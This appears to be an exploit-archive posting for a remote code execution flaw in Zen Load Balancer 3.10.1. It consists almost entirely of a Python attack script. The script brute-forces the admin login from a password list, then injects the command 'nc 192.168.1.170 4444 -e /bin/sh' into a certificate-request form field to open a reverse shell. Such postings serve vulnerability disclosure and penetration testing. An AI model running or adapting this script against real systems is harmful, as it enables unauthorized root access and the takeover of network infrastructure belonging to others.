what you don't know can hurt you

Zen Load Balancer 3.10.1 Remote Code Execution

Zen Load Balancer 3.10.1 Remote Code Execution
Posted Mar 30, 2020
Authored by Cody Sixteen

Zen Load Balancer version 3.10.1 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | 8a94b04383ba5845668af5b40ea1572f

Zen Load Balancer 3.10.1 Remote Code Execution

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c@kali:~/src/eonila/zenload3r$ cat zenload3r.py
#!/usr/bin/env python
# zenload3r.py - zen load balancer pwn3r
# 28.03.2020 @ 22:41
#
# by cody sixteen
#

import base64
import sys, re
import requests
import ssl
from functools import partial
ssl.wrap_socket = partial(ssl.wrap_socket, ssl_version=ssl.PROTOCOL_TLSv1)
# disable ssl warnings:
import urllib3
urllib3.disable_warnings()
from requests.auth import HTTPBasicAuth

#
target = sys.argv[1]
username = 'admin'
password = 'P@ssw0rd'

def main():
print 'zenload3r.py - zen load balancer pwn3r'
print ' zenload3r.py - vs - %s' % ( target )
print ''

print '[+] checking if host is alive...'
global sess
sess = requests.session()
global baseUrl
baseUrl = target + ':444/index.cgi'
checkBaseUrl = sess.get(baseUrl, verify=False)
checkBaseResp = checkBaseUrl.status_code

#print checkBaseResp
if checkBaseResp == 401:
print '[i] ...it is. we need to log in to proceed'
logmein(baseUrl)


def logmein(target):
print '[+] trying %s and default password "%s" vs %s' % (username, password, baseUrl )

#pwd_file = '/usr/share/wordlists/dirb/common.txt'
pwd_file = 'passwd.lst'

try:
read_pwds = open(pwd_file, 'r')
pwds = read_pwds.readlines()

for pwd in pwds:
pwd = pwd.rstrip()
logme = sess.post(baseUrl, auth=HTTPBasicAuth(username,pwd), allow_redirects=Tru e)
logmeresp = logme.text

#print logmeresp
if '<p>Hello <strong>admin</strong>' in logmeresp:
print '[+] admin user logged-in! :D'
print '[+] working password: %s' % ( pwd )

load3r(baseUrl, pwd)

except requests.exceptions.ConnectionError:
print '[-] Can not connect to remote host :C\n'


def load3r(baseUrl, pwd):
print '[+] time to get reverse shell, preparing...'

creds = base64.b64encode("{}:{}".format(username,pwd))
creds2 = creds.rstrip()
print 'creds: ', creds2

baseUrl = "https://192.168.1.200:444/index.cgi"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/2 0100101 Firefox/73.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q= 0.8",
"Accept-Language": "pl,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded", "Origin": "https://192.168.1. 200:444",
"Authorization": "Basic {}".format(creds2), "Connection": "close",
"Referer": "https://192.168.1.200:444/index.cgi?id=1-3&action=Show_Form", "Upgrade -Insecure-Requests": "1"
}
sh = "a\";nc 192.168.1.170 4444 -e /bin/sh;#"
reqdata = {"cert_name": "qweqweqwe", "cert_issuer": "Sofintel",
"cert_fqdn": "qweqweqwe", "cert_division": "qweqweqwe",
"cert_organization": sh,
"cert_locality": "qweqweqwe", "cert_state": "qweqweqwe",
"cert_country": "qw", "cert_mail": "qweqweqwe@qweqweqwe.com",
"cert_key": "2048", "id": "1-3", "actionpost": "Generate CSR", "button": "Generate CSR"}

requests.post(baseUrl, headers=headers, data=reqdata,verify=False)

print '[*] got r00t? ;>\n'


# run me:
if __name__ == '__main__':
main()

c@kali:~/src/eonila/zenload3r$
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